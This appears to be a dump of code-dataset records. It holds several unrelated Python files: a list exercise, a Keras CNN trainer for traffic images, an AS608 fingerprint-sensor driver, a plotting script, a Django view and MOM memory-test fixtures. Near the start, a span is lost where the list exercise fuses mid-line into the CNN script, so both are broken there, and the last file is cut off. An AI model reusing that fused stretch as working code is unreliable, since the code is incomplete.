self.order+1):\n p = n\n q = 0\n while p > q:\n yield (i, p, q, True)\n i += 1\n yield (i, p, q, False)\n i += 1\n p -= 1\n q += 1\n if p == q:\n yield (i, p, q, True)\n i += 1\n","sub_path":"python/lsst/shapelet/generator.py","file_name":"generator.py","file_ext":"py","file_size_in_byte":1910,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"10"} +{"seq_id":"331319238","text":"from __future__ import print_function\ndef cargar():\n lista=[]\n for x in range(5):\n valor=int(input(\"Ingrese valor\"))\n lista.append(valor)\n return lista\n\n\ndef retornar_mayormenor(lista):\n may=lista[0]\n men=lista[0]\n for x in range(1,len(lista)):\n if lista[x]>may:\n may=lista[x]\n else:\n if lista[x]40000):\r\n break # !!!!!!!!!!!!!!!!\r\n if file[-3:] == \"png\":\r\n pic = Image.open(path_d[label] + \"\\\\\" + file).convert('L')\r\n # input, pixels of the picture\r\n x = np.array(pic.getdata())\r\n y = np.zeros(num_labels, dtype=np.uint8)\r\n # output, correct label\r\n y[cur_label] = 1\r\n main_db.append((x, y)) # or [x, y] ????\r\n #print\r\n percent = int(round(((num_curr_file+1) / num_files) * 100))\r\n sys.stdout.write(\"\\rReading pictures: %d%% - Label: %s - Size of database: %s\" %(percent, label, str(sys.getsizeof(main_db)/1024/1024)))\r\n pic.close()\r\n print(\"\\nShuffle database.\")\r\n shuffle(main_db)\r\n\r\n train_db, valid_db, test_db = split_databases(main_db, train_split, valid_split)\r\n\r\n dir = path_d['MainDatabase']+\"\\\\maindata_\" + datetime.datetime.now().strftime(\"%Y%m%d_%H%M%S\") + \"_\" + str(len(labels))\r\n os.makedirs(dir)\r\n\r\n save_path = dir + \"\\\\train.txt\"\r\n savef = open(save_path, \"wb\")\r\n pickle.dump(train_db, savef)\r\n savef.close()\r\n print(\"Database saved to: \" + save_path)\r\n\r\n save_path = dir + \"\\\\valid.txt\"\r\n savef = open(save_path, \"wb\")\r\n pickle.dump(valid_db, savef)\r\n savef.close()\r\n print(\"Database saved to: \" + save_path)\r\n\r\n save_path = dir + \"\\\\test.txt\"\r\n savef = open(save_path, \"wb\")\r\n pickle.dump(test_db, savef)\r\n savef.close()\r\n print(\"Database saved to: \" + save_path)\r\n\r\n print(\"Runtime: \" + str(int(time.time() - start_time)) + \" sec.\")\r\n\r\n return train_db, valid_db\r\n\r\n\r\ndef load_databases(path):\r\n curr_path = path + \"\\\\train.txt\"\r\n loadf = open(curr_path, \"rb\")\r\n train_db = pickle.load(loadf)\r\n loadf.close()\r\n\r\n curr_path = path + \"\\\\valid.txt\"\r\n loadf = open(curr_path, \"rb\")\r\n valid_db = pickle.load(loadf)\r\n loadf.close()\r\n\r\n return train_db, valid_db\r\n\r\n\r\ndef split_databases(main_db, train_split, valid_split):\r\n nb_samples = len(main_db)\r\n nb_train_samples = math.floor(nb_samples * train_split)\r\n nb_valid_samples = math.floor(nb_samples * valid_split)\r\n nb_test_samples = nb_samples - nb_valid_samples - nb_train_samples\r\n\r\n train_database = main_db[: nb_train_samples]\r\n valid_database = main_db[nb_train_samples: nb_train_samples + nb_valid_samples]\r\n test_database = main_db[nb_train_samples + nb_valid_samples:]\r\n\r\n train_x = np.array([row[0].reshape(64, 64, 1) for row in train_database])\r\n train_y = np.array([row[1] for row in train_database])\r\n train_xy = (train_x, train_y)\r\n\r\n valid_x = np.array([row[0].reshape(64, 64, 1) for row in valid_database])\r\n valid_y = np.array([row[1] for row in valid_database])\r\n valid_xy = (valid_x, valid_y)\r\n\r\n test_x = np.array([row[0].reshape(64, 64, 1) for row in test_database])\r\n test_y = np.array([row[1] for row in test_database])\r\n test_xy = (test_x, test_y)\r\n\r\n print(\"Databases created:\")\r\n print(\"Train samples: \" + str(nb_train_samples))\r\n print(\"Validation samples: \" + str(nb_valid_samples))\r\n print(\"Test samples: \" + str(nb_test_samples))\r\n\r\n return train_xy, valid_xy, test_xy\r\n\r\n\r\ndef create_model():\r\n model = Sequential()\r\n\r\n model.add(Conv2D(32, (5, 5), input_shape=picture_array_shape))\r\n model.add(Activation('relu'))\r\n model.add(MaxPooling2D(pool_size=(2, 2)))\r\n\r\n model.add(Conv2D(32, (3, 3)))\r\n model.add(Activation('relu'))\r\n model.add(MaxPooling2D(pool_size=(2, 2)))\r\n\r\n model.add(Conv2D(64, (3, 3)))\r\n model.add(Activation('relu'))\r\n model.add(MaxPooling2D(pool_size=(2, 2)))\r\n\r\n model.add(Flatten())\r\n model.add(Dense(64))\r\n model.add(Activation('relu'))\r\n model.add(Dropout(0.5))\r\n model.add(Dense(num_labels))\r\n model.add(Activation('sigmoid'))\r\n\r\n model.compile(loss='binary_crossentropy',\r\n optimizer='adam',\r\n metrics=['accuracy'])\r\n\r\n return model\r\n\r\n\r\ndef train_model(model, train_xy, valid_xy, epochs, batch_size, earlystopping):\r\n train_x = train_xy[0]\r\n train_y = train_xy[1]\r\n\r\n valid_x = valid_xy[0]\r\n valid_y = valid_xy[1]\r\n\r\n nb_train_samples = len(train_x)\r\n nb_valid_samples = len(valid_x)\r\n\r\n callbacks = [EarlyStopping(monitor='val_loss', min_delta=0.001, patience=earlystopping, verbose=0),\r\n ModelCheckpoint(weights_save_path, monitor='val_loss', verbose=0, save_best_only=True,\r\n save_weights_only=True),\r\n ReduceLROnPlateau(monitor='val_loss', factor=0.5, patience=5, min_lr=0.001)\r\n ]\r\n\r\n # this is the augmentation configuration we will use for training\r\n train_datagen = ImageDataGenerator(shear_range=0.2,\r\n zoom_range=0.2,\r\n horizontal_flip=True)\r\n\r\n # this is the augmentation configuration we will use for testing:\r\n # only rescaling\r\n valid_datagen = ImageDataGenerator()\r\n\r\n train_generator = train_datagen.flow(\r\n train_x,\r\n train_y,\r\n batch_size=batch_size,\r\n shuffle=True,\r\n seed=36)\r\n\r\n validation_generator = valid_datagen.flow(\r\n valid_x,\r\n valid_y,\r\n batch_size=batch_size,\r\n shuffle=True,\r\n seed=36)\r\n\r\n history = model.fit_generator(\r\n train_generator,\r\n steps_per_epoch=nb_train_samples // batch_size,\r\n epochs=epochs,\r\n validation_data=validation_generator,\r\n validation_steps=nb_valid_samples // batch_size,\r\n callbacks=callbacks,\r\n verbose=2)\r\n\r\n model.load_weights(weights_save_path) # load weights last saved\r\n model.save(model_save_path)\r\n print(\"Model saved as: \" + model_save_path)\r\n\r\n return model, history\r\n\r\n\r\ndef log_results(paths, model, history, epochs):\r\n time_elapsed = (end_time - start_time).total_seconds()\r\n num_epochs = epochs\r\n\r\n labels_str = \"\"\r\n for label in used_labels:\r\n labels_str += label + \", \"\r\n\r\n divider = \" >>> \"\r\n net_shape = \"Layers: \" + str(len(model.layers)) + \"\\n\"\r\n for layer in model.layers:\r\n\r\n if \"activation\" in layer.name:\r\n net_shape += \" \" + layer.output.name + \"\\n\"\r\n\r\n elif \"conv2d\" in layer.name:\r\n net_shape += layer.name + divider\r\n net_shape += \"input:\" + str(layer.input_shape)\r\n net_shape += \", kernel:\" + str(layer.kernel_size) + \"@\" + str(layer.filters)\r\n net_shape += \", strides:\" + str(layer.strides)\r\n net_shape += \", padding:\" + str(layer.padding)\r\n net_shape += \"\\n\"\r\n\r\n elif \"max_pooling2d\" in layer.name:\r\n net_shape += layer.name + divider\r\n net_shape += \"input:\" + str(layer.input_shape)\r\n net_shape += \", pool:\" + str(layer.pool_size)\r\n net_shape += \", strides:\" + str(layer.strides)\r\n net_shape += \", padding:\" + str(layer.padding)\r\n net_shape += \"\\n\"\r\n\r\n elif \"flatten\" in layer.name:\r\n net_shape += layer.name + divider\r\n net_shape += \"output:\" + str(layer.output_shape)\r\n net_shape += \"\\n\"\r\n\r\n elif \"dense\" in layer.name:\r\n net_shape += layer.name + divider\r\n net_shape += \"input:\" + str(layer.input_shape)\r\n net_shape += \", nodes:\" + str(layer.units)\r\n net_shape += \"\\n\"\r\n\r\n elif \"dropout\" in layer.name:\r\n net_shape += \" \" + layer.name + divider\r\n net_shape += \"rate:\" + str(layer.rate)\r\n net_shape += \"\\n\"\r\n\r\n else:\r\n net_shape += layer.name + \"\\n\"\r\n\r\n #print(net_shape)\r\n\r\n # open log file\r\n wb = load_workbook(paths['Log'])\r\n sheet = wb.worksheets[0]\r\n\r\n # Read prevoius results, if training was continued\r\n if cfg_create_model == False:\r\n for row in sheet.rows:\r\n if row[log_cols['model_name'] - 1].value == model_load_path:\r\n time_elapsed += row[log_cols['time_elapsed'] - 1].value\r\n num_epochs += row[log_cols['epochs'] - 1].value\r\n break\r\n\r\n new_row = sheet.max_row + 1\r\n\r\n # identify model\r\n sheet.cell(row=new_row, column=log_cols['model_name']).value = model_save_path\r\n sheet.cell(row=new_row, column=log_cols['start']).value = start_time.strftime(\"%Y. %m. %d. %H:%M:%S\")\r\n sheet.cell(row=new_row, column=log_cols['time_elapsed']).value = time_elapsed\r\n # parameters\r\n sheet.cell(row=new_row, column=log_cols['labels']).value = labels_str\r\n sheet.cell(row=new_row, column=log_cols['num_data']).value = num_data\r\n sheet.cell(row=new_row, column=log_cols['train_split']).value = cfg_train_split\r\n sheet.cell(row=new_row, column=log_cols['valid_split']).value = cfg_valid_split\r\n sheet.cell(row=new_row, column=log_cols['batch_size']).value = cfg_batch_size\r\n sheet.cell(row=new_row, column=log_cols['net_shape']).value = net_shape\r\n sheet.cell(row=new_row, column=log_cols['net_shape']).alignment = Alignment(wrap_text=True)\r\n\r\n # results\r\n sheet.cell(row=new_row, column=log_cols['epochs']).value = num_epochs\r\n sheet.cell(row=new_row, column=log_cols['loss']).value = history.history['loss'][-1]\r\n sheet.cell(row=new_row, column=log_cols['acc']).value = history.history['acc'][-1]\r\n sheet.cell(row=new_row, column=log_cols['val_loss']).value = history.history['val_loss'][-1]\r\n sheet.cell(row=new_row, column=log_cols['val_acc']).value = history.history['val_acc'][-1]\r\n\r\n # format\r\n sheet.cell(row=new_row, column=log_cols['net_shape']).alignment = Alignment(wrap_text=True)\r\n sheet.cell(row=new_row, column=log_cols['labels']).alignment = Alignment(wrap_text=True)\r\n\r\n # close wb\r\n wb.save(paths['Log'])\r\n wb.close()\r\n print(\"Model logged.\")\r\n\r\n\r\n# save time and date of start\r\nstart_time_str = datetime.datetime.now().strftime(\"%Y%m%d_%H%M%S\")\r\nstart_time = datetime.datetime.now()\r\n\r\n#############\r\n# CONFIGURED PARAMETERS\r\n\r\ncfg_create_db = False # if true, gather pictures from data_object folders, and pickle a new database\r\ncfg_create_model = False # if false, load a previous model and train that\r\n\r\nload_path = path_d['MainDatabase'] + \"\\\\maindata_20171113_175240_6\"\r\nmodel_load_path = path_d['Model'] + \"\\\\model_20171113_175054.hdf5\"\r\n#weights_load_path = path_d['Model'] + \"\\\\weights_20171028_224634.hdf5\"\r\nused_labels = ['Car', 'Background', 'Pedestrian', 'Van', 'Truck', 'Cyclist']\r\n\r\npicture_shape = (64, 64)\r\npicture_array_shape = (64, 64, 1)\r\n\r\ncfg_train_split = 0.7\r\ncfg_valid_split = 0.15\r\ncfg_epochs = 10\r\ncfg_batch_size = 32\r\ncfg_earlystopping = 30\r\n\r\n#############\r\n# CALCULATED PARAMETERS\r\n\r\nnum_labels = len(used_labels)\r\nmodel_save_path = path_d['Model'] + \"\\\\model_\" + start_time_str + \".hdf5\"\r\nweights_save_path = path_d['Model'] + \"\\\\weights_\" + start_time_str + \".hdf5\"\r\n\r\n################\r\n# GET DATABASE\r\n\r\nif (cfg_create_db):\r\n train_xy, valid_xy = create_databases(path_d, used_labels, cfg_train_split, cfg_valid_split)\r\nelse:\r\n train_xy, valid_xy = load_databases(load_path)\r\n\r\nnum_data = len(train_xy[0]) + len(valid_xy[0])\r\n########################\r\n# CREATE MODEL\r\nif cfg_epochs > 0:\r\n if (cfg_create_model):\r\n model = create_model()\r\n model, history = train_model(model, train_xy, valid_xy, cfg_epochs, cfg_batch_size, cfg_earlystopping)\r\n\r\n else:\r\n model = load_model(model_load_path)\r\n model, history = train_model(model, train_xy, valid_xy, cfg_epochs, cfg_batch_size, cfg_earlystopping)\r\n\r\n end_time = datetime.datetime.now()\r\n\r\n log_results(path_d, model, history, cfg_epochs)\r\n\r\n\r\n","sub_path":"databuilder_teachnetwork_gray.py","file_name":"databuilder_teachnetwork_gray.py","file_ext":"py","file_size_in_byte":14429,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"10"} +{"seq_id":"130498203","text":"import utime\nimport ustruct\nfrom micropython import const\nfrom driver import UART\n\n# check passwoard: 4 byte 0000\ncmdVerifyPasswoard = b'\\xEF\\x01\\xFF\\xFF\\xFF\\xFF\\x01\\x00\\x07\\x13\\x00\\x00\\x00\\x00\\x00\\x1B'\n\n# 采集图片\ncmdGetImage = b'\\xEF\\x01\\xFF\\xFF\\xFF\\xFF\\x01\\x00\\x03\\x01\\x00\\x05'\n\n# 生成指纹图片对应的特征值\ncmdImage2Char = b'\\xEF\\x01\\xFF\\xFF\\xFF\\xFF'\ncmdSaveimage2Char = b'\\x01\\x00\\x04\\x02'\n\n# 创建指纹模板\ncmdCreateModel = b'\\xEF\\x01\\xFF\\xFF\\xFF\\xFF\\x01\\x00\\x03\\x05\\x00\\x09'\n\n# 保存指纹模板\ncmdStoreModel = b'\\xEF\\x01\\xFF\\xFF\\xFF\\xFF'\ncmdSaveStoreModel = b'\\x01\\x00\\x06\\x06\\x01'\n\n#指纹匹配指令\ncmdMatch = b'\\xEF\\x01\\xFF\\xFF\\xFF\\xFF\\x01\\x00\\x03\\x03\\x00\\x07'\n\n#指纹搜索指令\ncmdSearch = b'\\xEF\\x01\\xFF\\xFF\\xFF\\xFF\\x01\\x00\\x08\\x04\\x01\\x00\\x00\\x00\\x7F\\x00\\x8D'\n\n# 读取索引表\ncmdReadIndexTable = b'\\xEF\\x01\\xFF\\xFF\\xFF\\xFF\\x01\\x00\\x04\\x1F\\x00\\x00\\x24'\n\n#删除指纹记录\ncmdDeleteModel = b'\\xEF\\x01\\xFF\\xFF\\xFF\\xFF'\ncmdSaveDeleteModel = b'\\x01\\x00\\x07\\x0c\\x00'\n\n# 清除数据库中的指纹信息\ncmdEmptyDatabase = b'\\xEF\\x01\\xFF\\xFF\\xFF\\xFF\\x01\\x00\\x03\\x0D\\x00\\x11'\n\n# 获取指纹图片信息\ncmdGetFPImage = b'\\xEF\\x01\\xFF\\xFF\\xFF\\xFF\\x01\\x00\\x03\\x0a\\x00\\x0e'\n\n# 获取指纹特征值信息\ncmdGetFPChar = b'\\xEF\\x01\\xFF\\xFF\\xFF\\xFF\\x01\\x00\\x04\\x08\\x00\\x00\\x00'\n\n\nSUCCESS = const(0)\nFAIL = const(-1)\nNO_FINGER = const(2)\n\nDATABASE_CAPABILITY = const(300)\n\nCMD_RSP_TIMEOUT_MS = const(500) # 单条指令超时时间\nCMD_RSP_WAIT_TIME_MS = const(10) # 目前指令的response最多44个byte,44*(1+8+2+1)/57600 ~= 9.9ms\n\nclass AS608:\n def __init__(self, *args, **kargs):\n self._uartDev = None\n\n if not isinstance(args[0], UART):\n raise ValueError(\"parameter is not an UART object\")\n\n #实例化和AS608通信所用串口\n self._uartDev=args[0]\n\n #接收指令执行结果\n def getCmdResult(self):\n cnt = 0\n len = 12\n rx = bytearray(len * b'5')\n\n # 检查UART接收缓冲区中是否有足够的数据\n l = self._uartDev.any()\n while(l < len):\n # print('uart.any:', l)\n cnt += 1\n if cnt > CMD_RSP_TIMEOUT_MS/CMD_RSP_WAIT_TIME_MS: # 等待超时时间后退出\n break\n utime.sleep_ms(CMD_RSP_WAIT_TIME_MS)\n l = self._uartDev.any()\n\n self._uartDev.read(rx)\n return rx\n\n def matchCmdResult(self):\n cnt = 0\n len = 14\n rx = bytearray(len * b'5')\n\n # 检查UART接收缓冲区中是否有足够的数据\n l = self._uartDev.any()\n while(l < len):\n # print('uart.any:', l)\n cnt += 1\n if cnt > CMD_RSP_TIMEOUT_MS/CMD_RSP_WAIT_TIME_MS: # 等待超时时间后退出\n break\n utime.sleep_ms(CMD_RSP_WAIT_TIME_MS)\n l = self._uartDev.any()\n\n self._uartDev.read(rx)\n return rx\n\n #接收指纹图像数据\n def getLongResult(self):\n cnt = 0\n rx = bytearray(0)\n\n # 检查UART接收缓冲区中是否有足够的数据\n while(cnt < 5):\n utime.sleep_ms(30)\n buf = bytearray(512)\n l = self._uartDev.any()\n # 检查UART中是否有数据\n if l > 0:\n # 从UART读取数据\n l = self._uartDev.read(buf)\n #print(l)\n\n if l > 0:\n # 合并UART返回结果\n rx += buf[0:l]\n cnt = 0\n else:\n cnt += 1\n\n return rx\n\n # 接收搜索指令结果\n def searchCmdResult(self):\n cnt = 0\n len = 16\n rx = bytearray(len * b'5')\n\n l = self._uartDev.any()\n while(l < len):\n # print('uart.any:', l)\n cnt += 1\n if cnt > CMD_RSP_TIMEOUT_MS/CMD_RSP_WAIT_TIME_MS: # 等待超时时间后退出\n break\n utime.sleep_ms(CMD_RSP_WAIT_TIME_MS)\n l = self._uartDev.any()\n self._uartDev.read(rx)\n return rx\n\n # 接收索引表结果\n def readIndexCmdResult(self):\n cnt = 0\n len = 44\n rx = bytearray(len * b'5')\n\n l = self._uartDev.any()\n while(l < len):\n # print('uart.any:', l)\n cnt += 1\n if cnt > CMD_RSP_TIMEOUT_MS/CMD_RSP_WAIT_TIME_MS: # 等待超时时间后退出\n break\n utime.sleep_ms(CMD_RSP_WAIT_TIME_MS)\n l = self._uartDev.any()\n self._uartDev.read(rx)\n return rx\n\n # 验证密码\n def verifyPassword(self):\n self._uartDev.write(cmdVerifyPasswoard)\n\n rsp = self.getCmdResult()\n\n # 检查命令是否执行成功\n if rsp[-3] == 0:\n return SUCCESS\n else:\n return FAIL\n '''\n Confirm code=00H shows OK;\n Confirm Code=01H shows receiving packet error;\n Confirm Code=13H shows password incorrect;\n Confirm Code=21H shows Must verify password first;\n '''\n\n # 录入指纹图像\n def getImage(self):\n self._uartDev.write(cmdGetImage)\n rsp = self.getCmdResult()\n # print(rsp)\n # 检查命令是否执行成功\n if rsp[9] == 0:\n return SUCCESS\n elif rsp[9] == 2:\n return NO_FINGER\n else:\n return FAIL\n '''\n Confirm Code=00H - 录入成功\n Confirm Code=01H - 收包错误\n Confirm Code=02H - 传感器上无手指\n Confirm Code=03H - 指纹录入失败\n '''\n\n # 生成指纹对应的特征值, slot代表Buffer缓冲区ID\n def image2Character(self, slot = 1):\n sumImage2Char = cmdSaveimage2Char + bytearray([slot, 0, slot + 0x7])\n self._uartDev.write(cmdImage2Char)\n self._uartDev.write(sumImage2Char)\n\n rsp = self.getCmdResult()\n\n # 检查命令是否执行成功\n if rsp[9] == 0:\n return SUCCESS\n else:\n return FAIL\n '''\n Confirm Code=00H - 生成特征值成功\n Confirm Code=01H - 收包错误\n Confirm Code=06H - 指纹图像太乱,生成特征值失败\n Confirm Code=07H - 特征点太少,生成特征值失败\n feature;\n Confirm Code=15H - 图像缓冲区内没有有效原始图,生成特征值失败\n '''\n\n # 合并特征并生成模板\n def createModel(self):\n self._uartDev.write(cmdCreateModel)\n\n rsp = self.getCmdResult()\n\n # 检查命令是否执行成功\n if rsp[9] == 0:\n return SUCCESS\n else:\n return FAIL\n '''\n Confirm Code=00H - 合并成功\n Confirm Code=01H - 收包错误\n Confirm Code=0aH - 合并失败(两枚指纹不属于同一手指)\n '''\n\n # 将模板文件存储到PageID中,默认存储缓冲区1中的模板\n def storeModel(self, id):\n #sumStoreModel = cmdSaveStoreModel + bytearray([id, 0, id + 0x0E])\n payload = cmdSaveStoreModel + bytearray([(id >> 8) & 0xff, id & 0xff])\n s = sum(payload)\n sumStoreModel = cmdStoreModel + payload + bytearray([(s >> 8) & 0xff, s & 0xff])\n\n self._uartDev.write(sumStoreModel)\n\n rsp = self.getCmdResult()\n\n # 检查命令是否执行成功\n if rsp[9] == 0:\n return SUCCESS\n else:\n return FAIL\n '''\n Confirm Code=00H - 储存成功\n Confirm Code=01H - 收包错误\n Confirm Code=0bH - pageID超出范围\n Confirm Code=18H - 写Flash操作出错\n '''\n # 精确比对两枚指纹特征\n def match(self):\n self._uartDev.write(cmdMatch)\n\n rsp = self.matchCmdResult()\n\n # 检查命令是否执行成功\n if rsp[9] == 0:\n return SUCCESS\n else:\n return FAIL\n '''\n Confirm Code=00H - 指纹匹配\n Confirm Code=01H - 收包错误\n Confirm Code=08H - 指纹不匹配\n '''\n # 以缓冲区1或缓冲区2中的特征文件搜索整个或部分指纹库,若搜索到,返回页码\n def search(self):\n result = FAIL\n fingerId = -1\n confidence = 0\n self._uartDev.write(cmdSearch)\n\n rsp = self.searchCmdResult()\n # print(rsp)\n # 检查命令是否执行成功\n if rsp[9] == 0:\n result = SUCCESS\n fingerId, confidence = ustruct.unpack(\">HH\", bytes(rsp[10:14]))\n else:\n fingerId, confidence = -1, 0\n # print (result, fingerId, confidence)\n\n return result, fingerId, confidence\n '''\n Confirm Code=00H - 搜索成功\n Confirm Code=01H - 收包错误\n Confirm Code=09H - 没有搜索到,此时fingerId和confidence均为0\n '''\n # 删除Flash指纹库中的一个特征文件\n def deleteModel(self, id):\n if id >= DATABASE_CAPABILITY or id < 0:\n return FAIL\n\n deleteModel = cmdSaveDeleteModel + bytearray([id, 0, 1, 0, id + 0x15])\n self._uartDev.write(cmdDeleteModel)\n self._uartDev.write(deleteModel)\n\n rsp = self.getCmdResult()\n\n # 检查命令是否执行成功\n if rsp[9] == 0:\n return SUCCESS\n else:\n return FAIL\n '''\n Confirm Code=00H - 删除模板成功\n Confirm Code=01H - 收包错误\n Confirm Code=10H - 删除模板失败\n '''\n\n # 删除flash数据库中的所有指纹模板\n def emptyDatabase(self):\n self._uartDev.write(cmdEmptyDatabase)\n\n rsp = self.getCmdResult()\n # 检查命令是否执行成功\n if rsp[9] == 0:\n return SUCCESS\n else:\n return FAIL\n '''\n Confirm Code=00H - 清空指纹模板成功\n Confirm Code=01H - 收包错误\n Confirm Code=11H - 清空指纹模板失败\n '''\n\n # 获取指纹特征值\n def getFPCharacter(self, slot = 1):\n # 获取指纹特征值信息\n cmd = bytearray(cmdGetFPChar)\n cmd[10] = slot\n\n s = sum(cmd[6:11])\n cmd[11] = (s >> 8) & 0xff\n cmd[12] = s & 0xff\n\n self._uartDev.write(cmd)\n\n rsp = self.getLongResult()\n # 检查命令是否执行成功\n if rsp[9] == 0:\n return SUCCESS, rsp[12:len(rsp)]\n else:\n return FAIL, []\n '''\n Confirm Code=00H - 清空指纹模板成功\n Confirm Code=01H - 收包错误\n Confirm Code=0dH - 指纹执行失败\n '''\n\n # 获取指纹图像\n def getFPImage(self):\n self._uartDev.write(cmdGetFPImage)\n\n rsp = self.getLongResult()\n # 检查命令是否执行成功\n if rsp[9] == 0:\n return SUCCESS, rsp[12:len(rsp)]\n else:\n return FAIL, []\n\n '''\n Confirm Code=00H - 清空指纹模板成功\n Confirm Code=01H - 收包错误\n Confirm Code=0fH - bu不能发送后续数据包\n '''\n\n def getEmptyPosition(self):\n for i in range(4):\n cmdReadIndexTable = b'\\xEF\\x01\\xFF\\xFF\\xFF\\xFF\\x01\\x00\\x04\\x1F\\x00\\x00\\x24'\n\n s = sum(cmdReadIndexTable[6:10]) + i\n cmd = cmdReadIndexTable[0:10] + bytearray([i]) + bytearray([(s >> 8) & 0xff, s & 0xff])\n self._uartDev.write(cmd)\n rsp = self.readIndexCmdResult()\n # print(rsp)\n # 检查命令是否执行成功\n if rsp[9] == 0:\n index = rsp[10:41]\n for j in range(len(index)):\n for m in range(8):\n if not (index[j] & (1 << m)):\n return i * 32 + j * 8 + m\n\n return FAIL\n\n # 指纹录入\n def fingerEnroll(self, id):\n p = FAIL\n\n if id >= DATABASE_CAPABILITY or id < 0:\n return FAIL\n\n print('wait for finger print on the pannel')\n\n while p != NO_FINGER:\n p = self.getImage()\n\n # 开始采集指纹\n while p != SUCCESS:\n p = self.getImage()\n\n print('finger detected')\n # 指纹图片转化为特征值\n p = self.image2Character(1)\n if p != SUCCESS:\n print('image to text failed, exit')\n return 0\n\n # 再录制一次\n print('take off your finger, please')\n\n #Take off your finger\n p = 0\n\n while p != NO_FINGER:\n p = self.getImage()\n\n # put on again\n # Get image again\n print('put on your finger again, please')\n\n while p != SUCCESS:\n p = self.getImage()\n\n # 指纹图片转化为特征值\n p = self.image2Character(2)\n if p != SUCCESS:\n return 0\n\n print('creating finger model')\n # 创建指纹模板\n p = self.createModel()\n if p != SUCCESS:\n print('creating model failed')\n return 0\n\n print('store finger model')\n # 存储指纹模板\n p = self.storeModel(id)\n if p != SUCCESS:\n # fingerrecordfail\n print('store finger model failed')\n return FAIL\n print('store finger model success')\n return SUCCESS\n\n # 指纹识别\n def fingerSearch(self):\n p = FAIL\n print('search finger')\n print('wait for finger print on the pannel')\n while p != NO_FINGER:\n p = self.getImage()\n\n while p != SUCCESS:\n p = self.getImage()\n\n print('finger detected')\n\n p = self.image2Character(1)\n if p != SUCCESS:\n # 指纹图片转换为特征值失败\n print('image to text failed, exit')\n return -1\n\n # 在指纹库中搜索指纹\n p, id, confidence = self.search()\n if p == SUCCESS:\n # 搜索成功\n print('finger id:', id, ' confidence:', confidence)\n return SUCCESS, id\n else:\n # 搜索失败\n print('no match finger found')\n return FAIL, -1\n\n\n","sub_path":"haas_lib_bundles/python/docs/examples/FingerPrintLock/as608.py","file_name":"as608.py","file_ext":"py","file_size_in_byte":14058,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"10"} +{"seq_id":"274291746","text":"#!/usr/bin/python3\n# -*- coding: utf-8 -*-\n\nimport numpy as np\nfrom mpl_toolkits.mplot3d import Axes3D\nimport matplotlib.pyplot as plt\nfrom scipy.interpolate import griddata\nfrom matplotlib import cm\n\nd1 = np.genfromtxt('z1-1000.data', delimiter=' ')\nd2 = np.genfromtxt('z2-1000.data', delimiter=' ')\n\n#titles = ['Dice', 'Jaccard-Needham', 'Kulsinski', 'Matching (Hamming)', 'Rogers-Tanimoto', 'Russell-Rao', 'Sokal-Michener', 'Sokal-Sneath', 'Yule']\n\n#fig.suptitle('Normalized cumulative distance of assignment with respect to the number of skills')\n\nfor i in range(9):\n fig, ax = plt.subplots()\n\n ax.set_ylim([0, 1])\n ax.set_xlim([100, 300])\n ax.grid()\n\n ax.plot(d1[:,0], d1[:,i+1], marker='x')\n ax.plot(d1[:,0], d2[:,i+1], marker='x')\n\n for item in [fig, ax]:\n item.patch.set_visible(False)\n\n fig.tight_layout()\n fig.savefig('cout{}.png'.format(i))\n","sub_path":"junk/src/methodB/plot.py","file_name":"plot.py","file_ext":"py","file_size_in_byte":886,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"10"} +{"seq_id":"42191329","text":"# -*- coding: utf-8 -*-\n\nfrom django.shortcuts import render\nfrom django.http import HttpResponse\nfrom ..models.Student import Student\n\ndef journal(request):\n\n groups = (\n {'id': 1,\n 'name': 'KS1',\n 'lead': u'Пупкин'},\n {'id': 2,\n 'name': 'KS2',\n 'lead': u'Иванов'},\n {'id': 3,\n 'name': 'KS3',\n 'lead': u'Букин'\n\t},\n\t)\n\n students = Student.objects.all()\n order_by='none'\n order_by= request.GET.get('order_by')\n\n if order_by in ('first_name', 'last_name', 'ticket'):\n students=students.order_by(order_by)\n if request.GET.get('reverse')=='1' and request.GET.get('order_by')==order_by:\n students=students.reverse()\n elif request.GET.get('reverse')=='1' and request.GET.get('order_by')!=order_by:\n students=students\n\n\n\n days = (\n {'dayOfWeek':u'Пн',\n 'day':1},\n {'dayOfWeek':u'Вт',\n 'day':2},\n {'dayOfWeek':u'Ср',\n 'day':3},\n {'dayOfWeek':u'Чт',\n 'day':4},\n )\n\n ur = request.path\n return render(request, 'students/journal.html', {'groups': groups, 'students': students, 'days':days, 'url_Journal':ur})","sub_path":"students/views/journal.py","file_name":"journal.py","file_ext":"py","file_size_in_byte":1180,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"10"} +{"seq_id":"590185564","text":"\"\"\"\nMOM Test Fixtures\n\"\"\"\nimport logging\n\nimport pytest\n\nimport art.rhevm_api.tests_lib.low_level.hosts as ll_hosts\nimport art.rhevm_api.tests_lib.low_level.vms as ll_vms\nimport art.unittest_lib as u_libs\nimport config as conf\nimport helpers\nfrom art.test_handler import find_test_file\n\nlogger = logging.getLogger(__name__)\n\n\n@pytest.fixture(scope=\"class\")\ndef update_vms_for_ksm_test():\n \"\"\"\n 1) Update VM's for KSM tests\n \"\"\"\n host_mem = ll_hosts.get_host_free_memory(conf.HOSTS[0])\n for vm_name in conf.MOM_VMS:\n vm_memory = int(\n round(host_mem * 2 / conf.NUMBER_OF_VMS / conf.GB) * conf.GB\n )\n assert ll_vms.updateVm(\n positive=True,\n vm=vm_name,\n placement_host=conf.HOSTS[0],\n placement_affinity=conf.VM_USER_MIGRATABLE,\n memory=vm_memory,\n memory_guaranteed=vm_memory,\n max_memory=vm_memory + conf.GB\n )\n\n\n@pytest.fixture(scope=\"class\")\ndef stop_memory_allocation(request):\n \"\"\"\n 1) Stop memory allocation on the host\n \"\"\"\n def fin():\n memory_allocation_pid = conf.VDS_HOSTS[0].run_command(\n command=[\"pgrep\", \"-f\", conf.HOST_ALLOC_PATH]\n )[1].strip()\n if memory_allocation_pid:\n conf.VDS_HOSTS[0].run_command(\n command=[\"kill\", \"-9\", memory_allocation_pid]\n )\n request.addfinalizer(fin)\n\n\n@pytest.fixture(scope=\"module\")\ndef prepare_env_for_ballooning_test(request):\n \"\"\"\n 1) Change MOM pressure threshold to 0.60 on resources\n 2) Restart VDSM on the host\n 3) Copy memory allocation script on the host\n 4) Enable ballooning for the host\n \"\"\"\n def fin():\n \"\"\"\n 1) Disable ballooning for the host\n 2) Update balloon policy to the old value\n 3) Restart VDSM on the host\n 